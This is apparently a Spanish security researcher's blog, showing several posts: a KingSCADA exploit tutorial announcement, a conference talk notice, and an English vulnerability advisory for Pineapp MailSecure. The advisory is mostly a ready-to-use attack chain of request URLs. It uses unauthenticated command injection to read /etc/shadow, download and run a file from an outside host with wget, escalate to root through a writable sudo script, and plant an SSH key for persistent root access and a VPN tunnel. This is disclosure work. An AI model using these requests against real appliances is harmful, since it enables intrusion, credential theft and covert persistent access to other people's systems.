miércoles, 29 de octubre de 2014

ZDI-14-071 - KingSCADA Stack Overflow - Tutorial sobre la realización del exploit.

Por fin tras más de 5 años, me animo a participar de nuevo en otro concurso de Exploiting de CrackSLatinoS. De esta forma también pongo mi granito de arena para que se sigan proponiendo y resolviendo estos retos tan interesantes y útiles.

Enunciado del reto:
Uno de los motivos que me ha impulsado a resolverlo precisamente es el atractivo de su enunciado:

http://www.zerodayinitiative.com/advisories/ZDI-14-071/

Simple, ¿verdad? También muy real.

Del advisory inicial se extrae la siguiente información:
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of WellinTech KingScada. Authentication is not required to exploit this vulnerability. The specific flaw exists within the protocol parsing code contained in kxNetDispose.dll. The parent service is called AEserver.exe and listens on port 12401. The process performs arithmetic on an user-supplied value used to determine the size of a copy operation allowing a potential integer wrap to cause a stack buffer overflow. An unauthenticated attacker can leverage this vulnerability to execute code under the context of the SYSTEM user.

Y del CVE asignado, indicado en el mismo advisory, se indican los detalles de las versiones afectadas y no afectadas:

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0787

Stack-based buffer overflow in WellinTech KingSCADA before 3.1.2.13 allows remote attackers to execute arbitrary code via a crafted packet.

Tutorial:
El tutorial muestra todo el proceso desde la búsqueda de las versiones disponibles, el binary diffing de las mismas para analizar el parche y modificaciones realizadas en la versión vulnerable y la versión solucionada, análisis en dinámico para llevar el flujo a los bloques básicos objetivos, análisis del crash y finalmente la elaboración del exploit utilizando mona.py.

Podéis descargar el tutorial desde mi repositorio a la derecha del blog o directamente pinchando aquí

Espero que os guste y os animéis a practicar con este software.

martes, 19 de noviembre de 2013

[Advisory] Pineapp MailSecure total pwnage

In February 2013 I send Pineapp the following information:
-----------------------------------------------------------------
It is possible execute any command bash as qmailq unprivilege user, sending only the following https request, without authentication.
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;%20cat%20/etc/shadow

To upload any file (script, binary, etc...) it is possible with wget command.
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile

Download and execute it is possible with this request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile;chmod%20+x%20somefile;/tmp/somefile

Details of bug:
Lines 115-120 of /srv/www/htdocs/admin/confnetworking.html
----------------snip-----------------
$query=explode("\n",shell_exec("/usr/bin/host -t '$nstype' '$hostip' $nsserver"));
foreach ($query as $line)
    if ($line)
    echo preg_replace("/\t/","   ",$line)."
\n";
?>
----------------snip-----------------

Also it is possible make privilege escalation to root with a weak sudoers configuration, on /tmp/rc.firewall file. If you overwrite this file with this content:
---------
#!/bin/bash
$1
---------
you must get a privileged backdoor.
It is possible with the following request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo '%23!/bin/bash' > /tmp/fileheader
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo '$1' > /tmp/filecode
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;mv /tmp/rc.firewall /tmp/rc.firewall_
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;cat /tmp/fileheader /tmp/filecode > /tmp/rc.firewall
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;chmod %2bx /tmp/rc.firewall
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;rm /tmp/fileheader
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;rm /tmp/filecode

And execute commands as root with:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;chmod %2bx /tmp/rc.firewall 'whoami'

With this, you can sent a private ssh key and get access by ssh service. To perform this you can make the following request:
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo '%73%73%68%2d%72%73%61%20%41%41%41%41%42%33%4e%7a%61%43%31%79%63%32%45%41%41%41%41%42%49%77%41%41%41%51%45%41%79%54%6f%4c%32%75%6b%51%36%4c%76%44%6a%78%51%65%4e%55%72%54%59%35%2b%51%66%57%37%47%51%52%4c%51%68%44%4f%69%77%7a%46%48%42%4a%66%33%59%66%49%44%50%6f%74%45%48%41%4d%43%7a%75%45%48%56%72%34%49%2f%41%77%52%73%78%76%4a%44%2b%4e%55%2b%2b%53%65%72%34%76%7a%35%4d%68%53%6c%50%37%64%47%53%78%47%58%39%31%37%7a%4b%53%53%4b%33%79%55%78%33%42%75%46%44%38%49%52%53%46%51%47%35%64%33%75%50%72%46%63%2f%4d%2b%33%61%37%30%4f%7a%45%44%2f%59%71%79%75%53%63%35%64%79%4c%64%67%59%32%61%47%77%6f%48%77%6a%4e%6f%5a%6b%79%65%44%77%72%67%63%2b%50%65%57%66%78%57%37%63%44%39%72%2f%4f%56%6d%38%59%49%61%70%7a%75%34%37%77%65%71%53%70%38%70%37%2b%43%58%4f%45%41%4c%64%2b%50%4e%54%79%4b%30%43%34%7a%51%58%37%72%35%6d%37%79%48%45%34%50%74%31%6f%75%41%43%45%6c%46%56%38%4a%4f%4f%45%38%4c%49%76%38%55%4a%67%57%30%43%64%41%55%4f%48%6a%49%75%2b%5a%6f%6d%35%54%71%50%73%72%6e%70%64%44%4e%59%6e%2b%76%33%6d%33%57%76%4f%50%71%36%66%69%38%61%72%79%53%33%61%4e%6e%7a%53%74%51%4e%5a%61%33%35%50%64%75%42%4a%49%39%33%4e%41%79%4f%48%54%59%54%31%75%56%6a%6c%79%55%51%3d%3d%20%72%75%62%65%6e%40%72%75%62%65%6e%2d%6c%61%70%74%6f%70' > /tmp/key.pub
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo /tmp/rc.firewall 'mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo /tmp/rc.firewall 'cp /root/.ssh/authorized_keys /tmp'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;cat /tmp/authorized_keys /tmp/key.pub > /tmp/keys.pub
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo /tmp/rc.firewall 'mv /tmp/keys.pub /root/.ssh/authorized_keys'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo /tmp/rc.firewall 'chown root:root /root/.ssh/authorized_keys'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo%20/tmp/rc.firewall 'killall sshd'
https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo%20/tmp/rc.firewall 'sshd'

This key have password: '1234'

Now you can get access with ssh as root and up tun interface with the appliance with ssh client:
ssh root@192.168.24.24 -p 7022 -w0:0 -i /home/ruben/key

With this the attacker have a VPN on the same network segment of MailSecure appliance vulnerable.
-----------------------------------------------------------------

This I made a live demo of vulnerability, but don't revealed the manufacturer, then the bugs was not fixed.
http://boken00.blogspot.com.es/2012/11/ii-conferencias-de-seguridad-navaja.html
Video demo will be release soon on my blog.

Version affected:
MailSecure <= 5099SK

Credits:
-----------
Ruben Garrote García
rubengarrote [at] gmail [dot] com
http://boken00.blogspot.com
@Boken_

miércoles, 7 de noviembre de 2012

II CONFERENCIAS DE SEGURIDAD NAVAJA NEGRA – 30 de Noviembre / 1 de Diciembre


Tengo el placer de comunicaros que, junto con Alejandro Nolla (@z0mbiehunt3r), inauguraremos la conferencia con la primera charla:
All your appliances are belong to us. Presentación de un 0-day
Análisis de appliances de red. Confías en ellos, pero, ¿deberías? Ejemplo práctico, de cursito de formación a 0-day en lo que dura el coffee break

Os dejo la presentación oficial de la conferencia que también podéis consultar aqui:
http://navajanegra.com/

----------------------------------------------------------------
Los días 30 de noviembre y 1 de diciembre, tendrán lugar las II CONFERENCIAS DE SEGURIDAD “NAVAJA NEGRA” en Albacete con una serie de charlas centradas en la Seguridad de la Información como:
  • All your appliances are belong to us. Presentación de un 0-day
  • Show me your Intents
  • HASH COLLISIONS: Welcome to the (un)real World!
  • Take a walk on the wild side
  • A brief introduction to reversing code with OllyDbg and other tools
  • From mail to jail: Exploit your ex.girlfriend
  • (in)Security in Mobile Communications
  • IPv6 vs IDS, se aceptan apuestas…
Se realizarán en el SALON DE ACTOS DEL CEEI (Centro Europero de Empresas de Innovación) el viernes en horario de tarde y el sábado en horario de mañana e impartidas por reconocidos profesionales.
Son completamente gratuitas pero es necesario registrarse (aforo limitado).
La información sobre las charlas, está disponible en el apartado Itinerario del Congreso. Si os desplazais desde fuera de Albacete, tenemos descuentos de Renfe y del Hotel Beatriz para alojaros. También teneis el Cartel Oficial para descargar.
Calendario de conferencias:

jueves, 5 de julio de 2012

Introducción al análisis estático de código fuente en BlackBerry

Hoy he publicado un artículo sobre el análisis estático de código en BlackBerry.

Realmente es una introducción sobre esta plataforma. Cuál es su arquitectura y por dónde comenzar a mirar el código.

He puesto algunos pequeños ejemplos para que podáis haceros una idea general, pero la cuestión es concienciarse sobre la importancía de escribir código seguro.

BlackBerry tiene mucha documentación sobre sus APIs y un buen SDK totalmente documentado, que aunque vienen ejemplos sobre la manera correcta de escribir código, no hacen referencia explicita sobre cómo evitar determinados fallos de seguridad.

El artículo lo podéis consultar en el blog de Buguroo o en este enlace.

Espero que os guste!! ;D

martes, 3 de abril de 2012

Análisis de vulnerabilidad y exploit para CVE-2011-4130 en ProFTPd < 1.3.3g/1.3.4 – (Parte I)

Bueno hace ya mas de 3 años y medio que no escribo nada e iba siendo hora de romper con esta costumbre tan fea que había cogido. Así que aquí os dejo un articulo que he escrito sobre el análisis de la vulnerabilidad y el exploit para CVE-2011-4130 en ProFTPd < 1.3.3g/1.3.4.

La cuestión es que es un fallo interesante y en su momento no había ningún exploit público (creo que sigue sin haberlo), así que me decidí a estudiar el fallo y hacer el exploit para Metasploit ;D pero eso será en las siguientes partes, por ahora ir analizando la información proporcionada, que vienen curvas ;D

miércoles, 12 de agosto de 2009

Web del proyecto EEW

Hola a todos.

Debido a la cantidad de información y post que iremos creando para explicar y comentar las nuevas funcinoalidades y el estado del proyecto, en adelante todos los post relacionados con la herramienta, tanto Yibam como yo las iremos publicando en el blog que hemos creado expresamente para el mismo.

El blog lo podéis visitar pinchando aquí:

Espero que os interese el proyecto y sigáis su desarrollo!!

Gracias a todos por vuestro interés.
Saludos.

lunes, 10 de agosto de 2009

Del crash al Exploit a golpe de click (III)

Mi socio Yibam esta lanzado y os ha preparado otro vídeo explicativo del uso de la herramienta EEW (Expert Exploit Writer). Podéis verlo aquí.

Como podéis ver, en este vídeo se han modificado algunos puntos para que los resultados sean mas visuales. Además se pueden empezar a ver algunos detalles como la detección de si se pisa o no SE Handler, si esta o no activado la opción de AntiDEP, si se ha producido una excepción del tipo ACCESS VIOLATION on write, on read o on execute.

Según el tipo de excepción monta el evilbuffer de una manera u otra, buscando y recopilando las dirección o información necesaria para ello.

Espero que os guste el vídeo. Cualquier duda, critica, opinión, proposición, ya sabéis como contactar con nosotros.

Saludos.